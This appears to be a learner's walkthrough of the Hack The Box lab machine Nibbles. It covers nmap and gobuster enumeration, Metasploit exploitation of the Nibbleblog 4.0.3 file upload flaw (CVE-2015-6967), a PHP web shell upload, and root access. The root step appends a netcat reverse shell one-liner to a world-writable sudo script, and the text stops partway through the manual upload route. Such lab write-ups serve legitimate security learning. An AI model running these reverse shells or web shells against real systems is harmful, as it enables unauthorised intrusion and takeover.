First box Nibbles - Enumeration
So, here are hundards of standalone boxes for different operating system and levels available to us on the HTB platform.
For the practise purpose, we firstly walk through the box Nibbles, and easy-rated Linux box that showcases common enumeration tactics, basic web application exploitation, and a file-related misconfiguration to escalate privileges.
Machine Name | Nibbles |
---|---|
Creator | mrb3n |
Difficulty | Easy |
User Path | Web |
Privilege Escalation | World-writable File / Sudoers Misconfiguration |
RIppsec Video | https://www.youtube.com/watch?v=s_0GcRGv6Ds |
Walkthrough | https://0xdf.gitlab.io/2018/06/30/htb-nibbles.html |
Our first step when appproaching any machine is to perform some basic enumeration. First, let us start with what we do know about the target. We already know the target's IP address, that it is Linux, and has a web related attack vector. So, this is a grey-box approach because we have known some information about the target. On the HTB platform, the 20 'active' weekly release machines are all approached from a black-box perspective. Users are only given the IP adddress and the operating system type beforehand but no additional system about the target to formulate the attacks. This is why the thorough enumeration is critical and is often an iterative process.
Nmap
Let us begin with a quick nmap scan to look for open ports using the command:
nmap -sV --open -oA nibbles_initial_scan <target ip address>
nmap means starting nmap scan
-sV means service version scan or run a service enumeration scan against the default top 1,000 ports
--open means only return open ports
-oA means outputing stdout to files: xxx.nmap(nmap form), xxx.gnmap(greppable form), xxx.xml(xml form)
We can also use:
nmap -v -oG - <target ip address>
nmap means starting nmap scan
-v means use verbose scan mode which include more details
-oG means output to terminal in greppable form
It is essential to get in the habit of taking extensive notes and saving all console output early on for later using. The better we get at this while practicing, the more second nature it will become when on real-world engagements. Proper notetaking is critical for us as penetration testers and will significantly speed up the reporting process and ensure no evidence is lost. It is also essential to keep detailed time-stamped logs of scanning and explotitation attempts in an outage or incident in which the client needs information about our activities.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sV --open -oA nibbles_initial_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 21:48 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 918 closed tcp ports (conn-refused), 80 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.58 seconds
From the initial scan output, we can see host is likely Ubuntu Linux and exposes an Apache web server on port 80/tcp (http) and an openSSH server on 22/tcp (SSH) or secure shell, is a protocol typically used for remote access to Linux/Unix hosts. By the way, SSH can also be used to access Windows host and is now native to Windows 10 since version 1809.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -v -oG - 10.129.248.244
# Nmap 7.94SVN scan initiated Mon Jul 8 21:59:44 2024 as: nmap -v -oG - 10.129.248.244
# Ports scanned: TCP(1000;1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.129.248.244 () Status: Up
Host: 10.129.248.244 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (998)
# Nmap done at Mon Jul 8 22:00:30 2024 -- 1 IP address (1 host up) scanned in 45.35 seconds
Use another command, we can get same result.
We can also see three types of files what we scanned are created in this folder.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $ls
nibbles_initial_scan.gnmap nibbles_initial_scan.nmap nibbles_initial_scan.xml
Before we start poking around at the open ports, we can run a full TCP port scan using the command:
nmap -p- --open -oA nibbles_full_tcp_scan <target IP address>
-p- means scanning all 65535 ports (default TCP mode).
However, if insert ?? before -p-.
-sU means UDP scan
-sT means TCP connect scan
-sS means TCP TYN scan
-sA means ACK scan
It will take a long while,
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -p- --open -oA nibbles_full_tcp_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 22:49 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 63350 closed tcp ports (conn-refused), 2183 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 133.46 seconds
We can leave this running in the background and move on our enumeration. Using nc to do some banner grabbing confirms what nmap told us.
nc means intial netcat scan
-n means no DNS mode, directly scan IP address
-v means verbose mode, show more details
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nc -nv 10.129.248.244 22
(UNKNOWN) [10.129.248.244] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nc -nv 10.129.248.244 80
(UNKNOWN) [10.129.248.244] 80 (http) open
We do not found any additional ports. So we can perform an nmap script scan.
-sC or --script=default means default script scan
[!NOTE]
These scripts can be intrusive, so it is always important to understand what we will do and get permission.
We know only port 22 and 80 are opened, so to save time and limit unnecessary scanner traffic by specifying the target ports with -p.
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sC -p 22,80 -oA nibbles_script_scan 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 20:48 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http
|_http-title: Site doesn't have a title (text/html).
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds
Script scan didn't give us anything more, so we can do nmap enumeration with http-enum script.
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $nmap -sV --script=http-enum -oA nibbles_nmap_http_enum 10.129.248.244
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-09 20:52 NZST
Nmap scan report for 10.129.248.244
Host is up (0.29s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.28 seconds
First box Nibbles - Web Footprinting
We still didn't get more information. But we have already known this is a web server. So, whatweb can be used to identify the web application.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $whatweb 10.129.248.244
http://10.129.248.244 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244]
HTTP 200 means access successfully, so we can have a look this web.
This is a normal webpage, Let us have a look source code. Either press Ctrl + U or use curl command.
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Now, we get some interesting information. The comment mentions a directory named nibbleblog. Let us check it with whatweb.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $whatweb 10.129.248.244/nibbleblog
http://10.129.248.244/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244], RedirectLocation[http://10.129.248.244/nibbleblog/], Title[301 Moved Permanently]
http://10.129.248.244/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.248.244], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
Now, we can see some of the technologies in use such as Apache, HTML5, JQuery, MetaGenerator, Nibbleblog. Now, let us view http://10.129.248.244/nibbleblog/
Directory Enumeration
Nothing specify, but we can google nibbleblog exploit to look for some vulnerabilities.
Nibbleblog File Upload Vulnerability allows an authenticated attacker to upload and execute arbitrary PHP code on the underlying web server. Also, it works for version 4.0.3. Looking through the link, we can use metasploit module but URL, username, and password are required. And the code mentions multiple times of the target path that is admin.php.
Now, we can use gobuster and dictionary to enumerate any accessible pages and directories.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $gobuster dir -u 10.129.248.244/nibbleblog --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.248.244/nibbleblog
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 304]
/.htaccess (Status: 403) [Size: 309]
/.htpasswd (Status: 403) [Size: 309]
/admin (Status: 301) [Size: 327] [--> http://10.129.248.244/nibbleblog/admin/]
/admin.php (Status: 200) [Size: 1401]
/content (Status: 301) [Size: 329] [--> http://10.129.248.244/nibbleblog/content/]
/index.php (Status: 200) [Size: 2987]
/languages (Status: 301) [Size: 331] [--> http://10.129.248.244/nibbleblog/languages/]
/plugins (Status: 301) [Size: 329] [--> http://10.129.248.244/nibbleblog/plugins/]
/README (Status: 200) [Size: 4628]
/themes (Status: 301) [Size: 328] [--> http://10.129.248.244/nibbleblog/themes/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
We get five more links including admin.php
http://10.129.248.244/nibbleblog/admin.php
http://10.129.248.244/nibbleblog/index.php
http://10.129.248.244/nibbleblog/README
http://10.129.248.244/nibbleblog/admin/
http://10.129.248.244/nibbleblog/content/
http://10.129.248.244/nibbleblog/languages/
http://10.129.248.244/nibbleblog/plugins/
http://10.129.248.244/nibbleblog/themes/
Actually, we should look carefully to get more in the real scenario. But here, we can have a look README file firstly by either weblink or curl.
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
Site: http://www.nibbleblog.com
Blog: http://blog.nibbleblog.com
Help & Support: http://forum.nibbleblog.com
Documentation: http://docs.nibbleblog.com
===== Social =====
* Twitter: http://twitter.com/nibbleblog
* Facebook: http://www.facebook.com/nibbleblog
* Google+: http://google.com/+nibbleblog
===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP
The version number is 4.0.3 which represents we can confirm the version is likely vulnerable to the metasploit module we found before. Now, go admin.php to have some try like admin/admin or admin/password.
The common credential is unavailable and reset password function shows error. Too much login attempts too quickly trigger the security function - blacklist protection.
However, we know the username and password are necessary, so we have to poke around.
In the content direcory, there are public, private, and tmp direcories. And here is users.xml in private.
To view easily, we can use xmlint command.
[!NOTE]
| xmllint --format and | xmllint --format - are different, - specify the input format is std input.
┌─[✗]─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/users.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users><user username="admin"><id type="integer">0</id><session_fail_count type="integer">4</session_fail_count><session_date type="integer">1720519560</session_date></user><blacklist type="string" ip="10.10.10.1"><date type="integer">1512964659</date><fail_count type="integer">1</fail_count></blacklist><blacklist type="string" ip="10.10.15.2"><date type="integer">1720519560</date><fail_count type="integer">1</fail_count></blacklist></users>
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/users.xml | xmllint --format -
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 502 100 502 0 0 848 0 --:--:-- --:--:-- --:--:-- 847
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">4</session_fail_count>
<session_date type="integer">1720519560</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.15.2">
<date type="integer">1720519560</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>
Only know the username is admin, but cannot find the password. And Google search indicates the password is configured in the installation process.
And too much login attemption will trigger the block protection. So, we cannot use brute force tool like Hydra.
Have a brute force directory against the root of the web application.
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $gobuster dir -u 10.129.248.244 --wordlist /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.248.244
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 293]
/.htaccess (Status: 403) [Size: 298]
/.htpasswd (Status: 403) [Size: 298]
/index.html (Status: 200) [Size: 93]
/server-status (Status: 403) [Size: 302]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
No more luck, so we still have to poke around, in /content/private/config.xml file, we can see;
-s means do not show the error info
┌─[chao@parrot]─[~/Desktop/Academy/Nibbles]
└──╼ $curl -s 10.129.248.244/nibbleblog/content/private/config.xml | xmllint --format -
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<config>
<name type="string">Nibbles</name>
<slogan type="string">Yum yum</slogan>
<footer type="string">Powered by Nibbleblog</footer>
<advanced_post_options type="integer">0</advanced_post_options>
<url type="string">http://10.10.10.134/nibbleblog/</url>
<path type="string">/nibbleblog/</path>
<items_rss type="integer">4</items_rss>
<items_page type="integer">6</items_page>
<language type="string">en_US</language>
<timezone type="string">UTC</timezone>
<timestamp_format type="string">%d %B, %Y</timestamp_format>
<locale type="string">en_US</locale>
<img_resize type="integer">1</img_resize>
<img_resize_width type="integer">1000</img_resize_width>
<img_resize_height type="integer">600</img_resize_height>
<img_resize_quality type="integer">100</img_resize_quality>
<img_resize_option type="string">auto</img_resize_option>
<img_thumbnail type="integer">1</img_thumbnail>
<img_thumbnail_width type="integer">190</img_thumbnail_width>
<img_thumbnail_height type="integer">190</img_thumbnail_height>
<img_thumbnail_quality type="integer">100</img_thumbnail_quality>
<img_thumbnail_option type="string">landscape</img_thumbnail_option>
<theme type="string">simpler</theme>
<notification_comments type="integer">1</notification_comments>
<notification_session_fail type="integer">0</notification_session_fail>
<notification_session_start type="integer">0</notification_session_start>
<notification_email_to type="string">admin@nibbles.com</notification_email_to>
<notification_email_from type="string">noreply@10.10.10.134</notification_email_from>
<seo_site_title type="string">Nibbles - Yum yum</seo_site_title>
<seo_site_description type="string"/>
<seo_keywords type="string"/>
<seo_robots type="string"/>
<seo_google_code type="string"/>
<seo_bing_code type="string"/>
<seo_author type="string"/>
<friendly_urls type="integer">0</friendly_urls>
<default_homepage type="integer">0</default_homepage>
</config>
Still no luck, but nibbles are mentioned many times, so we can have a try.
Yes, it is nibbles.
This proves that we need a clear, repeatable process that we will use time and time again, no matter if we are attacking a single box on HTB, performing a web application penetration test for a client, or attacking a large Active Directory environment. Keep in mind that iterative enumeration, along with detailed notetaking, is one of the keys to success in this field.
As you progress in your career, you will often marvel at how the initial scope of a penetration test seemed extremely small and "boring," yet once you dig in and perform rounds and rounds of enumeration and peel back the layers, you may find an exposed service on a high port or some forgotten page or directory that can lead to sensitive data exposure or even a foothold.
First box Nibbles - Initial Foothold
Now, we can use Metasploit module to do a attack. Type msfconsole to boot Metasploit.
Metasploit Documentation: https://docs.metasploit.com/
[msf](Jobs:0 Agents:0) >> search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_upload
[msf](Jobs:0 Agents:0) >>
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >>
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][..
.]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/u
sing-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
USERNAME yes The username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
View the full module info with the info, or info -d command.
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >>
Now, we can set up target IP, username, and password.
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set PASSWORD nibbles
PASSWORD => nibbles
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set RHOSTS 10.129.248.244
RHOSTS => 10.129.248.244
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set TARGETURI nibbleblog
TARGETURI => nibbleblog
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set USERNAME admin
USERNAME => admin
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> show options
Here, we also need to change the payload type, here we use generic/shell_reverse_tcp.
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
Let us exploit,
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> exploit
[*] Started reverse TCP handler on 10.0.2.15:4444
[!] This exploit may require manual cleanup of 'image.php' on the target
[*] Exploit completed, but no session was created.
As I am using VPN, so default IP should be changed as well as.
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> set LHOST 10.10.15.2
LHOST => 10.10.15.2
[msf](Jobs:0 Agents:0) exploit(multi/http/nibbleblog_file_upload) >> exploit
[*] Started reverse TCP handler on 10.10.15.2:4444
[+] Deleted image.php
[*] Command shell session 1 opened (10.10.15.2:4444 -> 10.129.248.244:40496) at 2024-07-09 23:01:59 +1200
Type shell,
Now, we have successfully created a shell session but can not interactive, so we use python3 and bash to do a upgrade
shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[*] Found python3 at /usr/bin/python3
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
<ate/plugins/my_image$ python3 -c 'import pty;pty.spawn("/bin/bash")' >
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Now, we can view and browser the target and get user.txt.
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
<ml/nibbleblog/content/private/plugins/my_image$ cd /home >
nibbler@Nibbles:/home$ ls
ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79c03865431abf47b90ef24b9695e148
nibbler@Nibbles:/home/nibbler$
First box Nibbles - Privilege Escalation
Now, let us try the privilege escalation. Use sudo -l to check which root command we can use without root password
nibbler@Nibbles:/home/nibbler$ sudo -l
sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$
Keep in eye, we see we can run one root command without password here:
nibbler@Nibbles:/home/nibbler$ ls -l
ls -l
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Mar 12 2021 user.txt
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ ls -l
ls -l
total 12
drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 personal
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Mar 12 2021 user.txt
I cannot find the directory but get it after unzip file.
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
Also, we have the permission to write code into monitor.sh. Let us append our shell to this file in the end.
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.2 8083 > /tmp/f" >> monitor.sh
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.2 8083 > /tmp/f" >> monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
<er/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh >
'unknown': I need something more specific.
/home/nibbler/personal/stuff/monitor.sh: 26: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 36: /home/nibbler/personal/stuff/monitor.sh: [[: not found
/home/nibbler/personal/stuff/monitor.sh: 43: /home/nibbler/personal/stuff/monitor.sh: [[: not found
rm: cannot remove '/tmp/f': No such file or directory
Open another session, and set a netcat monitor port.
┌─[chao@parrot]─[~]
└──╼ $nc -lvnp 8083
listening on [any] 8083 ...
connect to [10.10.15.2] from (UNKNOWN) [10.129.248.244] 60358
# ls
monitor.sh
# cd /root
# ls
root.txt
# cat root.txt
de5e5d6619862a8aa5b9b212314e0cdd
#
Finally, we have the root permission in the remote end.
Try other tools and methods to achieve the same result. Take detailed notes on your own exploitation path, or even if you follow the same steps laid out in this section.
First box Nibbles - Other solutions
In the OSCP exam, metasploit tool is forbidden, so we have to use other ways to do the same thing. The easist way is looking for metasploit module detail page, or google details about this vulnerability.
The document about metasploit nibbleblog module, and then follow the source code.
We can found this and there is more in google.
Arbitrary File Upload (CVE-2015-6967):
In Nibbleblog version 4.0.3 and earlier, there was an unrestricted file upload vulnerability in the "My Image" plugin. Remote administrators could execute arbitrary code by uploading a file with an executable extension and then accessing it directly via a request to the file in content/private/plugins/my_image/image.php
So, let us have a look what we already found in the before stage.
Page | Contents |
---|---|
Publish | making a new post, video post, quote post, or new page. It could be interesting. |
Comments | shows no published comments |
Manage | Allows us to manage posts, pages, and categories. We can edit and delete categories, not overly interesting. |
Settings | Scrolling to the bottom confirms that the vulnerable version 4.0.3 is in use. Several settings are available, but none seem valuable to us. |
Themes | This Allows us to install a new theme from a pre-selected list. |
Plugins | Allows us to configure, install, or uninstall plugins. The My image plugin allows us to upload an image file. Could this be abused to upload PHP code potentially? |
Let us do some research in Plugins directory, and then go to Plugins-My image
According to previous research, we can upload a php file and execute it here. Before we upload, check the directory.
Write a PHP code in a file
┌─[chao@parrot]─[~/Desktop]
└──╼ $vim shell.php
┌─[chao@parrot]─[~/Desktop]
└──╼ $cat shell.php
<?php system('id'); ?>
We see some errors,
Have a verify, it has been renamed to image.php and stored in the directory.
So, the file has been uploaded and then let us execute this code
┌─[chao@parrot]─[~/Desktop]
└──╼ $curl 10.129.248.244/nibbleblog/content/private/plugins/my_image/image.php
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
It does work, we have gained remote code execution on the web server. Let us edit our local PHP file and upload it again. This command should get us a reverse shell. As mentioned earlier in the Module, there are many reverse shell cheat sheets out there. Some great ones are PayloadAllTheThings and HighOn,Coffee.
In the guide, HTB use this command to create netcat reverse shell.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKING IP LISTENING PORT >/tmp/f
Let us write this to our shell.php
┌─[✗]─[chao@parrot]─[~/Desktop]
└──╼ $vim shell.php
┌─[chao@parrot]─[~/Desktop]
└──╼ $cat shell.php
